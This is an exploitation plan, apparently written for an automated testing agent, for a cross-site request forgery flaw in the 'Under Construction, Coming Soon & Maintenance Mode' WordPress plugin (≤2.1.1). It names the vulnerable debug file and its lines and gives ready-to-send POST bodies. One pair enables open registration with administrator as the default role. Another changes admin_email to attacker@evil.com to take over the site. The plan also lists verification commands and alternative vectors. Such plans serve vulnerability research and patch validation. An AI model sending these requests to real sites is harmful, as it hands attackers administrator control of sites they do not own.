Under Construction, Coming Soon & Maintenance Mode <= 2.1.1 - Cross-Site Request Forgery

This research plan outlines the steps to exploit a Cross-Site Request Forgery (CSRF) vulnerability in the "Under Construction, Coming Soon & Maintenance Mode" plugin (versions <= 2.1.1).

1. Vulnerability Summary

The plugin incorporates a WPBrigade SDK (Telemetry/Logger SDK) which includes a debug view file: lib/wpb-sdk/views/wpb-debug.php. This file contains logic to perform several administrative actions—most notably updating arbitrary WordPress options via update_option(). These actions are triggered via POST requests but lack any nonce validation or CSRF protection. An attacker can trick a logged-in administrator into submitting a form that changes critical site settings.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin.php?page=under-construction-maintenance-mode-debug (The SDK debug page).
• Vulnerable File: lib/wpb-sdk/views/wpb-debug.php
• Action Type: POST
• Required Authentication: Administrator (the victim must be logged in).
• Preconditions: The plugin must be active, which initializes the SDK and makes the debug page available.

3. Code Flow

1. Entry Point: An administrator visits (or is forced via CSRF to submit a request to) the debug page, which is typically registered under the slug under-construction-maintenance-mode-debug.
2. Inclusion: The SDK's menu callback includes lib/wpb-sdk/views/wpb-debug.php.
3. Processing: At the start of wpb-debug.php, the code checks for POST parameters:
   • Line 81: if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value']))
4. Sink:
   • Line 86: Calls custom_plugin_set_option($option_name, $option_value);
   • Line 77: custom_plugin_set_option executes update_option($option_name, $option_value);.
5. Result: The WordPress options table is updated with attacker-supplied values without any nonce verification (no check_admin_referer or wp_verify_nonce is present in this file).

4. Nonce Acquisition Strategy

No nonce is required.
Analysis of lib/wpb-sdk/views/wpb-debug.php shows that the POST handlers for wpb_clear_api_cache, wpb_action, background_sync, and set_option_name do not implement any nonce checks. The forms rendered in the HTML (lines 106-153) also do not contain any _wpnonce fields.

5. Exploitation Strategy

The goal is to change the users_can_register option to 1 and the default_role to administrator, allowing the attacker to register a new admin account.

Step 1: Change Registration Settings
Submit a CSRF request as the logged-in administrator to enable open registration.

• Tool: http_request
• Method: POST
• URL: https://[target]/wp-admin/admin.php?page=under-construction-maintenance-mode-debug
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  set_option_name=users_can_register&option_value=1
  

Step 2: Change Default Role
Submit a second CSRF request to ensure new users are created as administrators.

• Method: POST
• URL: https://[target]/wp-admin/admin.php?page=under-construction-maintenance-mode-debug
• Body:

  set_option_name=default_role&option_value=administrator
  

Alternative Quick Impact (Site Takeover):
An attacker could directly change the admin_email to their own to initiate a password reset.

• Body: set_option_name=admin_email&option_value=attacker@evil.com

6. Test Data Setup

1. Install and activate the plugin "Under Construction, Coming Soon & Maintenance Mode" version 2.1.1.
2. Ensure users_can_register is currently 0 (default).
3. Ensure the active user is an Administrator.

7. Expected Results

• The http_request should return a 200 OK status.
• The response body should contain the string: <div id="success_message">Successfully set the option</div> (from wpb-debug.php line 87).
• The WordPress database will be updated, effectively bypassing intended security controls.

8. Verification Steps

After performing the POST requests, verify the changes using WP-CLI:

# Verify registration is enabled
wp option get users_can_register
# Expected: 1

# Verify default role is now administrator
wp option get default_role
# Expected: administrator

9. Alternative Approaches

If the update_option vector is somehow restricted by environmental security (like a WAF), other CSRF vectors in the same file can be used to demonstrate impact:

1. Clear API Cache:
   • Body: wpb_clear_api_cache=true
   • Effect: update_option('wpb_api_cache', null);
2. Clear Update Transients:
   • Body: wpb_action=clear_updates_data
   • Effect: Deletes update_plugins and update_themes transients.
3. Data Exfiltration (SSRF-lite):
   • Body: background_sync=true
   • Effect: Triggers wp_remote_post to WPBRIGADE_SDK_API_ENDPOINT with the $Data array, which includes product_info and logs. An attacker might control the endpoint if they can first CSRF the endpoint option itself.